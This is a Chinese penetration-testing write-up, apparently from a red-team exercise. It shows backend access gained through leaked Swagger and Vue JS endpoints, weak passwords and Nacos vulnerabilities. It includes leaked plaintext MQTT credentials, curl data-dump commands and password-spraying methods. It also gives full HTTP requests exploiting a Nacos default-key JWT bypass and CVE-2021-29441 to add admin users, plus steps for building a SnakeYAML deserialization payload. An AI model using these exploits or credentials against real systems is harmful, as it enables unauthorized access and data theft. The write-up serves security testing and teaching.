原文链接:https://forum.butian.net/share/4538
记录近期渗透项目及护网攻防利用JS泄露突破后台案例,Nday扫的没有大佬快,0day没有大佬储备多,何不研究一下前后端分离网站下渗透突破思路呢,文章为笔记复制故无社区水印,欢迎转载 但请标明社区原创地址
经典开机登录框通过目录爆破,挖掘到一处Swagger文档泄露收获一枚未授权,且文档存在众多接口,此接口重点测试GET请求及接口名称为list相关,运气好会有信息泄露或者账号密码信息,虽然存在插件但是我还是习惯用swagger-hack-main工具提取出接口后,再用BP拼接接口访问单独处理,这样hae插件可以很快定位是否存在敏感参数

swagger-hack可以将文档中的接口提取,但注意提取的位置必须是泄露.json 如果是.html将无法提取,一般只要出现了首页的swagger同样也会指明json格式文档的路径,拼接.json路径得到新的泄露体


使用工具扫描,生成swagger.csv文件
python swagger-hack2.0.py -u http://xxxxxx/swagger/v1/swagger.json
单独将里面的接口提出来,抓取一个首页包使用BP爆破
/api/driver/msl/module/type
/api/driver/msl/module/list
/api/driver/msl/channel/list
/api/driver/msl/config/list
/api/driver/msl/config/read
/api/driver/simulation/list
/api/driver/simulation/gw/list
..........
接口爆破未两种一种GET直接拼接再就是POST携带空JSON,都需要尝试
GET /api/driver/msl/module/type
---------------------------------
POST
Content-Type: application/json;
{
} 
并且swagger泄露页面一些接口本来也会带出请求体参数,可以直接在泄露页面发包测试或者是带入数据包测试

经过长达2分半时间的爆破,最终有多个接口出现内部的控制配置信息,以及多个账户密码泄露,


配置信息无法利用,故整理当前泄露的全部账号密码信息,尝试是否可以进入相关后台
"brokerIP":"xx.xxx161.59",
"brokerPort":1883,
"clientID":"iot-driver-001",
"driverName":"MSL",
"clientName":"IoT Driver",
"userName":"msl_mqtt_user",
"password":"3HlcSiVhvalAq9JU",
"brokerIP":"xxx.xxxx.32.65",
"brokerPort":1883,
"clientID":"iot-driver-003",
"driverName":"KNXMqtt Driver",
"userName":"msl_mqtt_user",
"password":"3HlcSiVhvalAq9JU",
"clientId":"msl_iot_226CC04AF6026B84",
"userName":"iot-driver-user001",
"password":"z@.x%h>4*k18",
"name":"Client_Test_001",
目前得到了两个IP地址已及账号密码,密码应该是那种在第一次注册时浏览器所生成的强密码,但是却保存到了配置文件中,那么依次对IP进行查询,看看是否有相关登录口尝试一发入魂!

"brokerIP":"xx.xxx161.59",
"brokerIP":"xxx.xxxx.32.65",
全部账号密码整理
"userName":"msl_mqtt_user",
"password":"3HlcSiVhvalAq9JU",
"userName":"iot-driver-user001",
"password":"z@.x%h>4*k18"首先收集161.59 通过观察定位到此icon和上方接口泄露出的的mqtt服务有些相似,那么就从这里入手
存在两个登录口,

当我用泄露的密码直接登录以为能美美进入时,两个登录口却全部失败,第一个无任意有效反馈直接无法连接服务器另一个则是账号错误


我继续尝试把得到的2组账号密码来回变换,不同组合方式在两个登录口重新尝试进入,均一无所获,故先放弃转而进攻32.65资产,显示多个资产,一一尝试,只有2处是有效的

出现两个有效登录框,相关特征跟上面的第一个一致,再次进行密码碰撞尝试登录,同样一无所获,目前4个网站没有一点反馈,一度怀疑前面的信息中肯定是漏掉了什么,故回去再看swagger接口泄露寻找信息,企业都能把密码配置文件放到公网了未删除了,那么安全意识肯定非常薄弱,我坚信这一点才一直会想去尝试


重新整理好接口泄露所有出现name相关字段的值,再次尝试对这4个登录框碰撞仍旧无法正确登录后台
"clientName":"IoT Driver",
"driverName":"KNXMqtt Driver",
"name":"Client_Test_001",思考一下从企业人员视角出发,大多密码账号会和单位简写有关,企业简称参数正是MSL 并且接口泄露出的一个name值也出现了MSL

重新测试来到登录口,逐一测试,来到第一个登录口无任何响应

来到第二个地方测试,通过两次账号不同所返回的响应,有经验的大佬已经发现了,典型的用户名枚举情况啊,但这里给出我的提示却是证明我的猜想是正确的,MSL企业简称正是系统的登录有效用户名


这里我已经非常开心了,已经幻想自己进入后台,但是当我将前面所获得的密码再次进行用户名不变密码改变的情况爆破时,仍然无法进入.....而后继续按照此方式对其他的登录框进行操作,但是其他登录框并无用户枚举情况,但我还是将MSL 作为用户名配合上方得到的密码进行爆破, 仍就一无所获,哈基W,....还是办不到吗


经历上述操作仍无法出货,真的很想关掉BP直接换站,但测试肯定是需要将所有思路全部穷尽,后开始上字典对第二个登录框爆破,寄希望与管理员未设置强密码,只针对用户名做了企业简写的操作

很难想象,第一个就出了....那我之前的信息收集 多个站来回碰撞算什么.....算我有耐心吗,我好像一拳打在了棉花上,我原以为弱口令真正意义上并不算一个漏洞,现在发现我对这个漏洞一无所知

通过口令进入第二个网站发现是登录口,测试账号并无数据,凭着管理员头脑简单想法 相同账号密码去登录其他资产网站,毫无疑问直接拿下!
控制大楼全部灯光、电梯 等其他硬件设施

控制酒店内所有客房服务,全区域空调开关,并且可调用摄像头监控


站点已修复,无法完整复现,只能从留存的报告成果截图阐述整个流程。开局登录框,。通过域名后跟随#符号判断此为Vue框架站点,那么着重寻找未授权 信息泄露!
https://xxxxxx/#/login
首页抓取一个刷新的包,或者是输入账号密码的包 ,看看会加载哪些请求方便构造接口拼接,同时也可以观察是否有前置目录情况,刷新提供请求服务的地址是/admin/tenant/list 并且加载了chunk异步JS 这是现代前端构建工具(如 Webpack、Vite 等)的常见产物,将代码拆分为多个 chunk(代码块),主程序加载时先加载核心代码,其他非必要代码(如路由组件、第三方库)会被分割成独立的 chunk 文件,按需异步加载

/admin/tenant/list
这类前端打包JS或许熊猫头无法完整的提取到全部接口,推荐利用Packer-Fuzz 提取到全部的异步JS

而后再用自写的正则脚本去匹配下载到本地的异步JS 中的接口再保存本地的文件中

后续就是根据第一步抓取到了请求,携带拼接即可,可以完整的将全部的异步JS 获取到,再利用正则匹配好接口发包测试,如果想更为细致的那么还是需要人工去全局搜索chunk

如果想更为细致的那么还是需要人工去全局搜索chunk而后拼接

当做完前面的操作后静待爆破结束就可美美收网,一般是观察字节大小配合HAE,在测网站收获如下漏洞,公司旗下所有分店员工二要素信息
https://xxxxxx/store/depot/selectStoreList
公司内部会员百万二要素信息泄露,该接口一度让我的BP卡死,甚至放到浏览器也无法加载出此接口,只能使用curl访问,通过userid为递归的用户编号推断数据量区间也是在百万左右,可惜并无三要素,不过也够用
curl "https://xxxxxx/admin/user-distributor/user/list" > xxx.txt
https://xxxxxx/admin/user-distributor/user/list

order参数一般在电商类网站都会与用户订单有关,此次渗透也不意外,未授权访问接口下载当日平台物流订单信息,并且此日期每日刷新,意味着每天都能看到当日的客户下单物流情况
https://xxxxxx/order/shipments/shipmentOrder/export

通过泄露的物流单号可以精确查询到物流信息


无论企业SRC还是日常工作项目中还是强烈建议师傅们适当补充自身武器库,让插件为漏洞挖掘赋能,当时TsojanScan漏扫插件就被动扫描出了3个有价值的东西
https://xxxxxx/v2/api-docs
https://xxxxxx/nacos/actuator/
https://xxxxxx/nacos/#/login

swagger文档泄露通过第一个案例思路又可以测试很多东西,信息泄露未授权等

actuator端点泄露也是属于渗透的老演员了,里面众多接口信息都可以为渗透提供有力的帮助,转储文件下载有很多概率泄露数据库连接密码、AKSK等信息


当然重头戏还是Nacos 如此纯粹的开放在公网,如果不是被动扫描正常测试不去爆破目录的话很难发现

实战攻防之Nacos漏洞-腾讯云开发者社区-腾讯云
扫描器扫描出符合版本的CVE 而后手工POC验证即可,历史漏洞没什么特别地方,主要看怎快人一步发现,成功打出两个漏洞方式,均可以权限绕过登录后台,想尝试Client Yaml 反序列化进入内网,但环境不符合无奈撤退
QVD-2023-6271
Nacos权限绕过漏洞,默认密钥,生成token利用此POC添加账户,替换host
POST /nacos/v1/auth/users HTTP/1.1
Host: xxxxx
User-Agent: Mozilla/5.0
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Wed, 15 Feb 202310:45:10 GMT
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
username=hellonacos&password=hellonacos
利用添加成功账号进入后台

CVE-2021-29441
NacosUA头权限绕过漏洞
BP抓包替换请求为下列poc,既可绕过添加用户进后台,关键点是User-Agent: Nacos-Server 替换
POST /nacos/v1/auth/users?username=hell&password=hell HTTP/1.1
Host: xxxxx
Sec-Ch-Ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Nacos-Server // 替换ua头
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
X-Forwarded-For: 127.0.0.1
Priority: u=0, i
Connection: close
利用添加账号再次进入后台

Nacos-Client Yaml 反序列化
按操作尝试进行反序列化,但环境不支持导致失败,虽然没有拿下权限但也实战了Nacos进行深层次的利用方式,下次遇到就会打了
实战攻防之Nacos漏洞-腾讯云开发者社区
artsploit/yaml-payload:用于生成 SnakeYAML 反序列化有效负载的小项目
Github下载好利用的java文件 第一步先用javac编译 Java 源代码(.java文件)转换为 Java 字节码(.class文件)然后再打包为jar包放在服务上

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .而后开服务监听,执行有回显就是反序列化, 没货就直接下播了。

经典前后端分离 前台为Vue 但是并无打包情况,JS应该是全裸露在前端,不然插件也不会出现这么多接口,所以此情况先把插件提到的接口跑遍,如无有效反馈,则再深度提取JS,按照案例二方式正则提取更多接口

首页抓取一个刷新的包,或者是输入账号密码的包 ,看看会加载哪些请求方便构造接口拼接,同时也可以观察是否有前置目录情况,正常刷新并未发现携带了请求

但是当我试图登录后所获得的包确实不同的,细心的师傅可能发现了,是个IP地址处理的登录请求,这里本质是 ** 前后端分离架构下 “前端资源部署与后端接口调用分离”** 导致
前端资源:(登录框页面、按钮、样式等)可能部署在子域名(比如 login.xxx.com),
#号后出现的新页面也是这种,使用的时候调用了后端接口
后端资源: 后端接口(处理登录请求、刷新时获取数据的接口)可能部署在服务器 IP(比如 1.2.3.4
服务器可能只用于提供 API,未单独绑定子域名,所以前端只能通过 IP 调用接口
此情况下的前端域名只提供了展示并无服务,接口拼接大概率是无效的,我通过刷新页面后BP测试接口,没有任何有效反馈,长度一致回到首页,


这种情况我猜测第一种就是提取到的接口只能去给到提供服务的后端IP地址拼接,第二种接口只能是尝试拼接到前端#后尝试触发新的未授权页面从而测试接口。所以正由于我上个案例所说,遇到登录框刷新一下,操作一下,观察接口。哪怕这个网站前端域名和IP都不是一致的,也需要把接口分别测试一下,#寻找未授权页面工具推荐Vue_scan 这里不做演示,因为目前已经有了足够多的接口,按照个人习惯来说优先测试,当接口无效再考试寻找新的未授权页面触发新的业务接口。

很简单的方式,无任何前置目录情况,通过触发登录包,前端向后端发送请求,,定位后端提供服务的地址拼接接口,出现大量的信息,通过JS入侵后台最高效的方式是定位是否泄露人员信息,从而得到类似账号.工号,用户dump 下大量此字段并且观察规律制作工号本从而进行密码喷洒进入后台
JS---信息泄露账号工号等------找出账号排序规则----固定密码1-6(依情况),工号作为字典-----爆破突破

分析接口信息,Hae发力,得到许多员工账号,测为突破的契机


接口泄露一部分后端地址接口忘记截图展示思路成果,地址进行FUZZ依旧纯粹的攻防三件套,这仨东西不是冤家不聚头,整整齐齐,遇到泄露地址情况对目录进行爆破,如果是公网地址务必可以扫描全端口,泄露地址的高端口大概率部署其他web服务,依次按照此手法捡分




接口地址泄露2个云存储路径,并且配置不当逐层删除测试可列桶拼接key可下载桶中文件均为公司商业合同伙伴及商务实验信息没吃到信息泄露分,为何三要素总是与我无缘,验证完后均已删除文件保证企业信息安全

http:/xxxxxx:9000/file/

http://xxxxx:9000/xinyihua/

抓起登录包,固定密码根据泄露用户账号递归规律BP直接按数值递增即可,企业弱口令还是非常好找的只要寻找到了账号规律,常规的amdin admin突破已经很少了。


几百个员工里出现几十个可登录的员工账户号已经非常可观了,如果使用撞击爆破多个弱密码字典,我相信可以拿下更多

回到页面手动对员工账号进行登录,大部分都是调试数据及商品合作信息,操作点只限于增删改查没有上传点突破进入内网,不过已经竭尽所能帮团队贡献分数对于第一次接触攻防的我来说已经满意了,下次一定能做的更好



依旧没有华而不实的屠龙术,只有简单的技巧加入一点细心一点耐心,如文章让师傅们看的开心并得到了收获希望可以点点推荐,后续会有其他关于渗透中的插件技巧,,我们总是习惯BP插件拉满可那么真的用的上吗,真的会使用嘛,面对繁多的插件如何在不同的渗透场景下选择性的开启呢,以及会有关于状态码的小技巧, 一个不经意的响应使得漏洞组合拳接管用户,状态码0元购等等其他攻击面!
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。